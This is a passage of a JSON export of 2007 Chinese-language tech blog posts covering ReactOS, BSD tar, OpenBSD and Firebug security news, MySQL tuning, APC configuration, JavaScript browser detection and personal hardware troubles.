    "body": "<a href=\"http://www.reactos.org/\" rel=\"tag\">ReactOS</a> 是一套 Open Source (GPL) 的作業系統，他與其他的系統最大的不同在於他是為了要跟 Windows XP 相容：\r\n<blockquote><a href=\"http://www.reactos.org/\" rel=\"tag\">ReactOS</a>® is an advanced free open source operating system providing a ground-up implementation of a Microsoft Windows® XP compatible operating system. ReactOS aims to achieve complete binary compatibility with both applications and device drivers meant for NT and XP operating systems, by using a similar architecture and providing a complete and equivalent public interface.</blockquote>\r\n\r\n這套系統在昨天釋出了 0.3.1 版，距離上次 0.3.0 版已經有半年了，所以你也可以在 <a href=\"http://www.reactos.org/wiki/index.php/ChangeLog-0.3.1\" rel=\"tag\">ChangeLog-0.3.1</a> 看到超長的 ChangeLog 文件。在 Download 頁面提供了四種檔案讓你選擇：Installation CD、Live CD、QEMU Image、VMware Image，等下抓個 Live CD 測試看看...。",
    "title": "ReactOS 0.3.1"
  },
  {
    "id": "1120",
    "body": "上一篇提到了 <a href=\"http://blog.gslin.org/archives/2007/03/12/1119/\" rel=\"tag\">ReactOS 0.3.1</a>，於是我就燒了兩片出來，一片是 Installation CD，另外一片是 Live CD。\r\n\r\n先拿了 Live CD 玩，在 IBM x31 上用 USB CD 開機，結果開機畫面一閃過去 (有稍微瞄到 ReactOS 的畫面)，接下來就出現藍色螢幕，等了一分鐘看起來完全沒在動，就把電腦關掉了... @_@\r\n\r\nInstallation CD 也是差不多的情況，讀完一堆 driver 後就不會動了，也許應該拿其他電腦試看看...",
    "title": "ReactOS 的試用情況"
  },
  {
    "id": "1121",
    "body": "據<a href=\"http://people.freebsd.org/~kris/\" rel=\"tag\">大光頭 kris</a> 說現在 BSD tar 的速度比 GNU tar 好：<a href=\"http://lists.freebsd.org/pipermail/freebsd-current/2007-March/069860.html\">BSDtar performance vs GNUtar</a>。\r\n\r\nBSD tar 本來比 GNU tar 慢了 40%，這陣子 <a href=\"http://people.freebsd.org/~kientzle/\" rel=\"tag\">Tim Kientzle</a> 做了不少工，利用/配合 libarchive 的功能處理 (參考 3/11 的 <a href=\"http://lists.freebsd.org/pipermail/cvs-src/2007-March/075464.html\" rel=\"tag\">cvs commit</a>)，於是現在大約比 GNU tar 快 5%。(不多，不過看起來就很爽？)",
    "title": "FreeBSD 上的 BSDtar"
  },
  {
    "id": "1122",
    "body": "去新竹一趟結果感冒猛噴鼻水，gosh...\r\n\r\nAnyway，回正題，<a href=\"http://blog.ijliao.info/\" rel=\"tag\">蔡依林大姊姊</a> 在 #bsdchat 上丟了一個 link 出來：<a href=\"http://www.coresecurity.com/index.php5?module=ContentMod&action=item&id=1703\">OpenBSD's IPv6 mbufs remote kernel buffer overflow</a>，號稱超級安全的 <a href=\"http://www.openbsd.org/\" rel=\"tag\">OpenBSD</a> 被來一發 Remote Exploit，然後官方網頁上本來是 only one 的部份也更改成：\r\n<blockquote>Only <strong>two</strong> remote holes in the default install, in more than 10 years!</blockquote>\r\n看了一下說明，只有 IPv6 的部份有問題，所以 kernel 裡沒有 IPv6 的人可以不用擔心...",
    "title": "OpenBSD 安全漏洞"
  },
  {
    "id": "1123",
    "body": "雖然 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 跟 <a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a> 都很慢 (慢的地方不一樣)，不過還是換回 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 好了...\r\n\r\n<a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a> 是慢在 Javascript 的速度，這會讓我整個 Browser 頓住幾秒鐘完全不能動 (像是第一次開啟、讀另外二十筆資料)，而 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 是慢在 <a href=\"http://www.ask.com/\" rel=\"tag\">Ask Jeeves</a> 的伺服器上...",
    "title": "換回 Bloglines"
  },
  {
    "id": "1124",
    "body": "先前提到在 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 跑 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 的問題，在 <a href=\"http://jeffr-tech.livejournal.com/6831.html\">Update on the linux scaling situation.</a> 提到了兩個 link：\r\n<ul>\r\n\t<li><a href=\"http://ozlabs.org/~anton/linux/sysbench/\">MySQL scalability on Linux with sysbench</a></li>\r\n\t<li><a href=\"http://lkml.org/lkml/2007/3/13/159\">SMP performance degradation with sysbench</a></li>\r\n</ul>\r\n在第一個 link 裡，在一台 4 CPU 的 PPC 64 有發現類似的現象：\r\n\r\n<a href=\"http://flickr.com/photos/gslin/424941477/\"><img src=\"http://farm1.static.flickr.com/169/424941477_a8a04f7eee.jpg\" alt=\"\" /></a>\r\n\r\n中間 debug 的過程就不講了，最後發現是 <a href=\"http://www.gnu.org/software/libc/\" rel=\"tag\">glibc</a> 裡 <code>malloc()</code> 的問題，用 LD_PRELOAD 把 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 提供的 <a href=\"http://goog-perftools.sourceforge.net/doc/tcmalloc.html\" rel=\"tag\">tcmalloc</a> 替換掉後就恢復了：\r\n\r\n<a href=\"http://flickr.com/photos/gslin/424942682/\"><img src=\"http://farm1.static.flickr.com/181/424942682_555e7ea21f.jpg\" alt=\"\" /></a>\r\n\r\n那個法鵝大站的站長，如果你覺得 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 太慢的話掛個 LD_PRELOAD 的 patch 上去... :p",
    "title": "Linux 上 MySQL Scalability 的問題"
  },
  {
    "id": "1125",
    "body": "<a href=\"http://www.zooomr.com/\" rel=\"tag\">Zooomr</a> 經過比無名還久的「維修」後，終於恢復了：<a href=\"http://blog.zooomr.com/2007/03/18/zooomr-mark-iii-update-five-a-must-read/\">Zooomr Mark III: Update Five! (A Must Read)</a>。\r\n\r\n最直接的改變就是上傳的容量限制跟 <a href=\"http://flickr.com/\" rel=\"tag\">Flickr</a> 一樣變成無限大：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/809978\"><img src=\"http://static.zooomr.com/images/809978_64364cfbbb.jpg\" alt=\"\" /></a>\r\n\r\n喔對，我前幾天把 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 換回來了，現在跑的是 <a href=\"http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-mozilla1.8/\" rel=\"tag\">latest-mozilla1.8</a> (目前是 2.0.0.3pre) 這個版本。",
    "title": "Zooomr 恢復正常"
  },
  {
    "id": "1126",
    "body": "雖然大家都知道 <a href=\"http://www.myspace.com/\" rel=\"tag\">Myspace</a> 很多洞 (就一個封閉式的網站而言，跟開放原始碼的 <a href=\"http://www.phpbb.com/\" rel=\"tag\">phpBB</a> 有得拼...)，於是有人就想到最近很熱的 \"Month of XXX\"：<a href=\"http://slashdot.org/it/07/03/18/2139214.shtml\">April to See Month of MySpace Bugs</a>。\r\n\r\n不過居然從 4/1 開始 XDDD <a href=\"http://momby.livejournal.com/\" rel=\"tag\">MOMBY 的網站</a> 還特地說明：\r\n<blockquote><strong>When are you starting?</strong>\r\nWere you not paying attention? April 1, 2007. Yes, we know. No, it's serious. No, not really.</blockquote>",
    "title": "四月！每日一 Myspace Bug！"
  },
  {
    "id": "1127",
    "body": "在 <a href=\"http://www.vmware.com/\" rel=\"tag\">VMware</a> 裡面裝了 <a href=\"http://www.dragonflybsd.org/\" rel=\"tag\">DragonFly BSD</a> 1.8，然後用看看，想要知道 <a href=\"http://www.dragonflybsd.org/\" rel=\"tag\">DragonFly BSD</a> 跟 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 差多少。\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/811634\"><img src=\"http://static.zooomr.com/images/811634_3fd07b605d.jpg\" alt=\"\" /></a>\r\n\r\n目前 <a href=\"http://www.dragonflybsd.org/\" rel=\"tag\">DragonFly BSD</a> 的套件管理系統是透過 <a href=\"http://www.pkgsrc.org/\" rel=\"tag\">pkgsrc</a>，也許應該去翻翻 mailing list 之類的地方翻翻看有沒有什麼奇技淫巧...\r\n\r\n<a href=\"http://www.pkgsrc.org/\" rel=\"tag\">pkgsrc</a> 所造成的主要的幾個差別在於：\r\n<ul>\r\n\t<li><a href=\"http://www.pkgsrc.org/\" rel=\"tag\">pkgsrc</a> 安裝的位置在於 <code>/usr/pkg</code>，這點不同於 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD ports</a> 的 <code>/usr/local</code>，所以環境變數 PATH 要設定好。</li>\r\n\t<li><a href=\"http://www.pkgsrc.org/\" rel=\"tag\">pkgsrc</a> 使用的是 bmake，所以記得在 <a href=\"http://www.pkgsrc.org/\" rel=\"tag\">pkgsrc</a> 裡要使用 bmake 而非 make (nmake)。</li>\r\n\t<li><a href=\"http://www.pkgsrc.org/\" rel=\"tag\">pkgsrc</a> 裡 bmake clean 的動作不是 recursive clean，要加上 bmake clean-depends。所以安裝指令的習慣變成 bmake install clean clean-depends。</li>\r\n</ul>\r\n弄完 package system 後，再來是 make kernel 與 make world，只有一些小改變，第一個是本來有 <code>/sys</code> 的 symbolic link (會指到 <code>/usr/src/sys</code>)，現在沒有了。第二個是本來在 <code>/usr/src/sys/i386/conf</code> 下的設定檔，現在在 <code>/usr/src/sys/config</code> 下。\r\n\r\n從 1.8.0 升級到最新版的方法跟 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 差不多，先跑 cvsup 更新，再到 <code>/usr/src</code> 下跑 make buildworld、make buildkernel、make installkernel、make installworld (跟以前一樣，中間的 buildkernel + installkernel 可以合併成 kernel)，最後跑 mergemaster，然後重開機，接下來就應該可以看到 1.9.0 的版號了。\r\n\r\n不過最近 kernel 好像有個 bug，在 irc 上也有看到... 我的只有 491%，IRC 上有人說他看到 1600%... XD\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/811666\"><img src=\"http://static.zooomr.com/images/811666_d8cfc149bc.jpg\" alt=\"\" /></a>\r\n\r\n大致上就是這樣，有興趣的可以自己跑個 <a href=\"http://www.vmware.com/\" rel=\"tag\">VMware</a> 起來玩玩看 :p",
    "title": "DragonFly BSD 1.8"
  },
  {
    "id": "1128",
    "body": "先提供幾個 link：\r\n<ul>\r\n\t<li><a href=\"http://slashdot.org/yro/07/03/20/0151216.shtml\">University of Wisconsin-Madison Bucks RIAA</a></li>\r\n\t<li><a href=\"http://www.joegratz.net/2007/03/16/university-of-wisconsin-stands-up-to-riaa/\">University of Wisconsin Stands Up to RIAA</a></li>\r\n</ul>\r\n國外有很多大學的計算機中心 (或是類似的單位) 常常會收到 <a href=\"http://www.riaa.com/\" rel=\"tag\">RIAA</a> (Recording Industry Association of America) 或是 <a href=\"http://www.mpaa.org/\" rel=\"tag\">MPAA</a> (Motion Picture Association of America) 的通知，告知某個 IP address 在某個時間有利用什麼樣的 Protocol (<a href=\"http://www.bittorrent.org/\" rel=\"tag\">BitTorrent</a>、<a href=\"http://en.wikipedia.org/wiki/EDonkey_network\" rel=\"tag\">eDonkey Network</a>、IRC 或是 FTP) 從事 <a href=\"http://www.riaa.com/\" rel=\"tag\">RIAA</a>/<a href=\"http://www.mpaa.org/\" rel=\"tag\">MPAA</a> 認為的「非法分享行為」。\r\n\r\n<a href=\"http://www.wisc.edu/\" rel=\"tag\">University of Wisconsin</a> 的作法是：我們會在校園內宣導合理使用校園網路的政策，但除非收到合法的法院傳票，不然不會提供 <a href=\"http://www.riaa.com/\" rel=\"tag\">RIAA</a>/<a href=\"http://www.mpaa.org/\" rel=\"tag\">MPAA</a> 任何資料，也不會將所謂的「通知信」轉交給當事人。\r\n\r\n聽說最近學校 (<a href=\"http://www.nctu.edu.tw/\" rel=\"tag\">交大</a>) 計中主任換人後就聽到傳言說以後 <a href=\"http://www.riaa.com/\" rel=\"tag\">RIAA</a> 或 <a href=\"http://www.mpaa.org/\" rel=\"tag\">MPAA</a> 通知有侵權行為就要先記過？來看看這個傳言到底怎麼樣好了...",
    "title": "University of Wisconsin 對於 RIAA 控訴的程序"
  },
  {
    "id": "1129",
    "body": "剛好在 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 5.1 版的 <a href=\"http://dev.mysql.com/doc/refman/5.1/en/charset-unicode-sets.html\" rel=\"tag\">Unicode Character Sets</a> 這章翻到這兩者的不同。\r\n\r\n我想我應該會用 utf8_general_ci 吧...",
    "title": "MySQL 的 utf8_{general,unicode}_ci"
  },
  {
    "id": "1130",
    "body": "以往都是用 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">ports</a> 裝完 <a href=\"http://www.freshports.org/www/pecl-APC\" rel=\"tag\">pecl-APC</a> 就不管他了，反正感覺得出來有變快後就會覺得很棒就不管其他的。昨天從 <a href=\"http://mclee.foolme.net/\" rel=\"tag\">mclee</a> 那邊才知道 <a href=\"http://pecl.php.net/package/APC\" rel=\"tag\">APC</a> 有個 <code>apc.php</code> 可以看 <a href=\"http://pecl.php.net/package/APC\" rel=\"tag\">APC</a> 運作的情況，如果是裝 ports 版本的人可以在 <code>/usr/local/share/doc/APC</code> 下找到。\r\n\r\n由於 colo-lt 有時候 php 會爆走，於是我把 <code>apc.php</code> 拿到 colo-lt (我 blog 所在的主機) 上看以後發現原來 cache rate 超低，只有 65% 左右，看了一下設定檔的說明文件，把 cache size 從預設的 30MB 調整到 128MB 後，現在 cache rate 可以到 98%，速度應該會比以前快很多 @_@\r\n\r\n另外補充一點，在 <code>apc.php</code> 同一個目錄下放個 <code>apc.conf.php</code>，並且在裡面設一些東西，就可以在 <code>apc.php</code> 的報表上看到完整的路徑 (預設是用 <i>&lt;hidden&gt;</i> 保護起來)，不過這樣就要記得把 <code>apc.php</code> 用 htpasswd 或是其他方式保護起來：\r\n<blockquote>&lt;?\r\ndefaults('USE_AUTHENTICATION', 0);\r\n?&gt;\r\n</blockquote>",
    "title": "APC 的設定"
  },
  {
    "id": "1131",
    "body": "前幾天去 makoto 家的時候 X31 當了兩次，不過後來換個位置後又沒事，所以一直以為只是過熱而已。剛剛在家裡跟 <a href=\"http://mclee.foolme.net/\" rel=\"tag\">mclee</a> 在改 code 的時候又當掉，重開後就再起不能...\r\n\r\n查了一下還在三年保固內，星期一送去台北修，然後看看情況怎麼樣。這幾天暫時得用 <a href=\"http://www.apple.com/macmini/\" rel=\"tag\">Mac Mini</a> 上來晃了 @_@\r\n\r\n<strong>Update</strong>：又暫時可以用了... 星期一還是去看看好了。\r\n\r\n<strong>Update</strong>：開沒半個小時出現藍色死亡螢幕，然後自動重新開機後又不行了...\r\n\r\n<strong>Update</strong>：早上起來把電腦打開，把週邊硬體都拔乾淨 (不接 USB 滑鼠、外接硬碟、連網路都不接)，純粹用電池的電跑 <a href=\"http://www.winamp.com/\" rel=\"tag\">Winamp</a>，結果跑到電池 0% 都沒當，於是接上變壓器，順便把所有週邊裝置都裝上去...\r\n\r\n<strong>Update</strong>：又當了，實在是不懂到底是怎麼樣...\r\n\r\n<strong>Update</strong>：早上拿去台北 (國父紀念館附近) 修了。\r\n\r\n<strong>Update</strong>：剛剛打電話來了，說主機板後方有液體痕跡，報價是 $26k，我跟他說謝謝不用了 :p 差不多該去找新的 Notebook 了 :p",
    "title": "IBM X31 掛了"
  },
  {
    "id": "1132",
    "body": "結果弄了一台 IBM R60 磚頭回來 (反正本來就是當 Desktop 在用)，拿到以後先重裝 OS...",
    "title": "換 Notebook"
  },
  {
    "id": "1133",
    "body": "在 <a href=\"http://www.techcrunch.com/\" rel=\"tag\">TechCrunch</a> 上看到 <a href=\"http://mail.yahoo.com/\" rel=\"tag\">Yahoo! Mail</a> 將在五月將儲存空間的限制移除：<a href=\"http://www.techcrunch.com/2007/03/27/yahoo-mail-announces-unlimited-storage/\">Yahoo Mail Announces Unlimited Storage</a>，<a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 的官方說明在 <a href=\"http://yodel.yahoo.com/2007/03/27/yahoo-mail-goes-to-infinity-and-beyond\">Yahoo! Mail goes to infinity and beyond</a> 這篇。\r\n\r\n對於使用 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 信箱放一堆附件的人應該相當開心，以後不用特地砍掉附件之類的東西了？",
    "title": "Yahoo! Mail 將在五月升級"
  },
  {
    "id": "1134",
    "body": "在 <a href=\"http://blog.gslin.org/archives/2007/03/21/1128/\">University of Wisconsin 對於 RIAA 控訴的程序</a> 裡面我聽說要記過，剛剛在 <a href=\"http://groups.google.com/group/nctu.talk/\" rel=\"tag\">nctu.talk</a> 板上看到左先生 (<a href=\"http://www.cc.nctu.edu.tw/intro/people003.html\" rel=\"tag\">技術發展組</a>) 貼的文章了：<a href=\"http://groups.google.com/group/nctu.talk/browse_thread/thread/e61104ac4ec1c961\">交大計網中心公告</a>。\r\n\r\n聽起來好多漏洞的呢...",
    "title": "收到校園侵權的通知：記過"
  },
  {
    "id": "1135",
    "body": "大多數的情況下，Javascript 的大長輩們都會建議使用 Object Detection 判斷瀏覽器是否支援某些功能 (像是 ppk 寫的 <a href=\"http://www.quirksmode.org/js/support.html\" rel=\"tag\">Object Detection</a>，或是 <a href=\"http://www.apple.com/\" rel=\"tag\">Apple</a> 文件提到的 <a href=\"http://developer.apple.com/internet/webcontent/objectdetection.html\" rel=\"tag\">Object Detection</a>)，而避免使用 Browser Detection 決定。\r\n\r\n不過在某些情況還是需要利用 Browser Detection 判斷，像是針對 IE 的處理 (bugfix :p)，這時候就得用 Browser Detection 判斷。\r\n\r\n在 <a href=\"http://dean.edwards.name/weblog/\" rel=\"tag\">Dean Edwards 的 Blog</a> 上看到了這段 Browser Detection 的 code：\r\n<blockquote><code>var isMSIE = /*@cc_on!@*/false;</code></blockquote>\r\n另外在 comment 裡有人提出更短的 code：(意思一樣，把 false 用 !1 取代)\r\n<blockquote><code>var isMSIE = /*@cc_on!@*/!1;</code></blockquote>\r\n在 <a href=\"http://msdn.microsoft.com/\" rel=\"tag\">MSDN</a> 上有說明 @cc_on 的用法：<a href=\"http://msdn2.microsoft.com/en-us/library/eb0w91wa.aspx\" rel=\"tag\">@cc_on Statement</a>，用這個方法看起來頗精簡的 :p",
    "title": "用 Javascript 偵測 Browser 的技巧"
  },
  {
    "id": "1136",
    "body": "裝了 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 9.1 測試 (上次是去年五月，在 <a href=\"http://blog.gslin.org/archives/2006/05/30/621/\" rel=\"tag\">試用 Opera 9.0 Beta</a> 這篇)，速度當然就不用提了，不管是看什麼頁面都很快。\r\n\r\n目前拿他來收 <a href=\"http://mail.google.com/mail/\" rel=\"tag\">Gmail</a> 的信，查查資料 (不需要用到 Form 輸入東西的)，改 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 的文章，看 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上的 RSS feed，其他的網站就比較沒辦法了...\r\n\r\nPS：有沒有誰知道上面有類似 Adblock 可以用的？我不要自己輸入一堆名單，希望可以像 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 上一樣，輸入一個  URL 後會去自動更新...",
    "title": "Opera"
  },
  {
    "id": "1137",
    "body": "<a href=\"http://dean.edwards.name/\" rel=\"tag\">Dean Edwards</a> 最近好像很 high 的樣子，先是弄了一個 Javascript library 實做 Web Standards，現在又想要用 <a href=\"http://code.google.com/\" rel=\"tag\">Google Code</a> 提供的 Subversion Repository 當作一般性的 static files hosting，拿來放 Javascript 檔案：<a href=\"http://dean.edwards.name/weblog/2007/03/google-it/\">Using Google To Serve Faster JavaScript</a>。\r\n\r\n我測了一下，這個方法在 Windows 上的 IE6/<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a>/<a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 都可以動，不過這實在太惡搞了，搞太大鐵定會被 ban 掉的... XD\r\n\r\n<strong>Update</strong>：我在 comment 跟他說試著修改 svn:mime-type 看看後，他就真的跑去測試，然後也如同預期的一樣噴出 text/javascript (本來是 text/plain)，這聽起來真是太糟糕了 :o",
    "title": "用 Google Code 放 Javascript..."
  },
  {
    "id": "1138",
    "body": "<a href=\"http://news.netcraft.com/\" rel=\"tag\">Netcraft</a> 會在每個月一號丟一篇 Web Server 市佔率的報表出來，並不會因為是 4/1 就亂寫 (吧？)：<a href=\"http://news.netcraft.com/archives/2007/04/02/april_2007_web_server_survey.html\">April 2007 Web Server Survey</a>。\r\n\r\n這個月比較特殊的地方，是把 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">Lighttpd</a> 也列到文章裡了：\r\n<blockquote>This month the Web Server Survey adds public tracking of lighttpd, an open source server designed for high-performance sites that has been gaining popularity in recent months.</blockquote>\r\n不過這個月反而比上個月差，大概是版本出的不夠頻繁？XD",
    "title": "四月份 Web Server 市佔率統計"
  },
  {
    "id": "1139",
    "body": "看到幾個比較有趣的 XD\r\n<ul>\r\n\t<li><a href=\"http://beta.zooomr.com/photos/38183@Z01/902309\"><img src=\"http://static.zooomr.com/images/902309_46fad1152e.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> <a href=\"http://thepiratebay.org/\" rel=\"tag\">The Pirate Bay</a> 跟<del>金大中</del>金正日 詳談後，決定將伺服器放到北韓 XDDD：<a href=\"http://thepiratebay.org/blog/61\">Finally a permanent solution for the hosting.</a></li>\r\n\t<li><a href=\"http://beta.zooomr.com/photos/38183@Z01/900307\"><img src=\"http://static.zooomr.com/images/900307_6cd941ab23.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> <a href=\"http://beta.zooomr.com/photos/38183@Z01/902113\"><img src=\"http://static.zooomr.com/images/902113_fb692f87ee.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a>Ptt2 進站畫面 XD</li>\r\n</ul>\r\n有看到其他的再 Update...",
    "title": "愚人節新聞"
  },
  {
    "id": "1140",
    "body": "早上重新打開 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 就發現 <a href=\"http://www.getfirebug.com/\" rel=\"tag\">Firebug</a> 有新版 1.0.3，沒想到是對 0-day 的安全性更新。\r\n\r\n剛剛在 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上看到有不少 Blog 提出警告了：\r\n<ul>\r\n\t<li><a href=\"http://ajaxian.com/archives/update-firebug-to-103\">Update Firebug to 1.0.3</a></li>\r\n\t<li><a href=\"http://dean.edwards.name/weblog/2007/04/firebug-patch/\">Firebug Security Patch</a></li>\r\n</ul>\r\n最後，附上作者的說明：<a href=\"http://www.getfirebug.com/blog/2007/04/04/security-update/\">Security Update</a>。",
    "title": "Firebug 安全性更新"
  },
  {
    "id": "1141",
    "body": "<a href=\"http://garage.freebsd.pl/\" rel=\"tag\">pjd</a> 將 <a href=\"http://www.opensolaris.org/os/community/zfs/\" rel=\"tag\">ZFS</a> 移植到 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上 (<a href=\"http://www.sun.com/cddl/\" rel=\"tag\">CDDL</a> 授權)：<a href=\"http://lists.freebsd.org/pipermail/cvs-src/2007-April/076644.html\">Please welcome ZFS - The last word in file systems.</a>。\r\n\r\n換句話說，最新版的 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 7-CURRENT 有 <a href=\"http://www.opensolaris.org/os/community/zfs/\" rel=\"tag\">ZFS</a> 可以用了，不過目前還不能當開機磁碟...。",
    "title": "FreeBSD 上的 ZFS"
  },
  {
    "id": "1142",
    "body": "四月... 好多新番... +_+\r\n<ol>\r\n\t<li>ICE</li>\r\n\t<li>KISSDUM</li>\r\n\t<li>Over Drive</li>\r\n\t<li>Saint Beast</li>\r\n\t<li>sola</li>\r\n\t<li>小女神花鈴</li>\r\n\t<li>大劍</li>\r\n\t<li>女優大試煉</li>\r\n\t<li>火箭女孩</li>\r\n\t<li>天元突破 紅蓮之眼</li>\r\n\t<li>手機少女</li>\r\n\t<li>光明之淚</li>\r\n\t<li>青空下的約定</li>\r\n\t<li>怪怪怪的鬼太郎</li>\r\n\t<li>怪物王女</li>\r\n\t<li>神曲奏界</li>\r\n\t<li>桃華月憚</li>\r\n\t<li>偶像大師</li>\r\n\t<li>旋風管家</li>\r\n\t<li>黑之契約者</li>\r\n\t<li>精靈守護者</li>\r\n\t<li>鋼鐵三國誌</li>\r\n\t<li>藍蘭島漂流記</li>\r\n\t<li>羅密歐與茱麗葉</li>\r\n\t<li>瀨戶的新娘</li>\r\n\t<li>魔女狩獵者</li>\r\n\t<li>魔法少女奈葉 StrikerS</li>\r\n</ol>\r\n繼續追加...",
    "title": "四月..."
  },
  {
    "id": "1143",
    "body": "翹起來了... 看起來真糟糕...\r\n\r\n<a href=\"http://www.flickr.com/photos/georgelee/449273487/\"><img src=\"http://farm1.static.flickr.com/178/449273487_655a98b313.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/georgelee/449268836/\"><img src=\"http://farm1.static.flickr.com/221/449268836_09b6459004.jpg\" alt=\"\" /></a>\r\n\r\n感謝拍照的 <a href=\"http://mclee.foolme.net/\" rel=\"tag\">mclee</a> 大長輩... 看起來又要拿去國父紀念館那邊的維修點了吧 :/",
    "title": "R60..."
  },
  {
    "id": "1144",
    "body": "連 <a href=\"http://unknowngenius.com/blog/wordpress/spam-karma/\" rel=\"tag\">Spam Karma</a> 都出語言包了：<a href=\"http://wp-plugins.net/doc/sk2/sk2-in-your-language/\">SK2 in Your Language</a>。\r\n\r\n有看到繁體中文的檔案，有需要的人 (像是幫別人裝 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 的人？) 可以套上去用...",
    "title": "Spam Karma 2 語言包"
  },
  {
    "id": "1145",
    "body": "<a href=\"http://www.primebase.com/xt/\" rel=\"tag\">PrimeBase XT</a> 是 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 上的另外一個支援 Transaction 的 Storage Engine。\r\n\r\n<a href=\"http://www.mysqlperformanceblog.com/\" rel=\"tag\">MySQL Performance Blog</a> 上對 <a href=\"http://www.primebase.com/xt/\" rel=\"tag\">PrimeBase XT Storage Engine for MySQL</a> 進行了一番測試，主要的比較對象是 <a href=\"http://www.innodb.com/\" rel=\"tag\">InnoDB</a>。\r\n\r\n除了 SELECT BETWEEN 的部份有些問題 (看起來是 lock 的問題，只能用到一顆 CPU 的資源) 而輸了不少外，其他的部份看起來都不錯。整體看起來比 <a href=\"http://www.innodb.com/\" rel=\"tag\">InnoDB</a> 好，不過並沒有好到有強烈的慾望換掉 :o\r\n\r\n在 <a href=\"http://www.oracle.com/\" rel=\"tag\">Oracle</a> 買下 <a href=\"http://www.sleepycat.com/\" rel=\"tag\">Sleepycat</a> 與 <a href=\"http://www.innodb.com/\" rel=\"tag\">InnoDB</a> 後，不知道會不會又出手買這些公司 XD (如果真的這樣做，陰謀好像很明顯...)",
    "title": "PrimeBase XT Storage Engine for MySQL"
  },
  {
    "id": "1146",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/452060958/\"><img src=\"http://farm1.static.flickr.com/184/452060958_5701a6c7fd_m.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> 這是<a href=\"http://www.cht.com.tw/\" rel=\"tag\">中華電信</a>新換的 ADSL 數據機的照片。\r\n\r\n之前家裏用的 ADSL 數據機問題實在很多... 舊的是<a href=\"http://www.comtrend.com.tw/\" rel=\"tag\">康全</a>的小白龜 (Alcatel Speed Touch 340)，偶而會熱當 (喂喂，那時候是冬天耶)，加上會衝 IP (不管內部網段用什麼 IP address，他看到 ARP request 就回一下)，然後 ADSL 線路似乎也有問題，WLK 燈偶而會熄掉 (於是就斷線)，於是上個禮拜五（還是六？）打電話去報修，星期一就來看，於是就換這台上去...\r\n\r\n目前看起來衝 IP 的情況解決了，剩下的要用時間才知道...",
    "title": "換 ADSL 數據機"
  },
  {
    "id": "1147",
    "body": "<a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的季報告書出來了：<a href=\"http://www.freebsd.org/news/status/report-2007-jan-2007-mar.html\">FreeBSD Quarterly Status Report</a>。這一季做的東西很明顯可以感覺到比較偏向感覺得到的，成果也很輝煌啊 XD\r\n\r\n首先是 <a href=\"http://www.freebsd.org/news/status/report-2007-jan-2007-mar.html#SMP-Scalability\" rel=\"tag\">SMP Scalability</a>，除了不斷的拔大鎖 (Giant-lock-free) 外，另外也改寫了 filedesc lock、ULE。\r\n\r\n另外一個讓更多人興奮的是把 <a href=\"http://www.opensolaris.org/\" rel=\"tag\">OpenSolaris</a> 上的 <a href=\"http://www.opensolaris.org/os/community/zfs/\" rel=\"tag\">ZFS</a> 移植到 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上。\r\n\r\n再來是因為 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 上的 Driver 比較多，所以仿照 Project Evil 的方式，寫個 kernel module 實做一層 emulation layer，利用 ports 把 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 上的 GPL Driver 搬上來... 不過目前只有 WebCam，之後應該會有更多的計畫 :o\r\n\r\ntrunk(4) 也進入 -HEAD 了，看起來 7.0 可以直接用 trunk，而不需要用 netgraph 的 ng_one2many 了。(結果 netgraph 除了 mpd 外還是沒什麼人用...)\r\n\r\n再來是繼續對 <code>malloc()</code> 改善，不過不知道 benchmark 出來會改善多少...\r\n\r\nPS：bsdtar 居然沒寫出來...",
    "title": "FreeBSD 季報告書"
  },
  {
    "id": "1148",
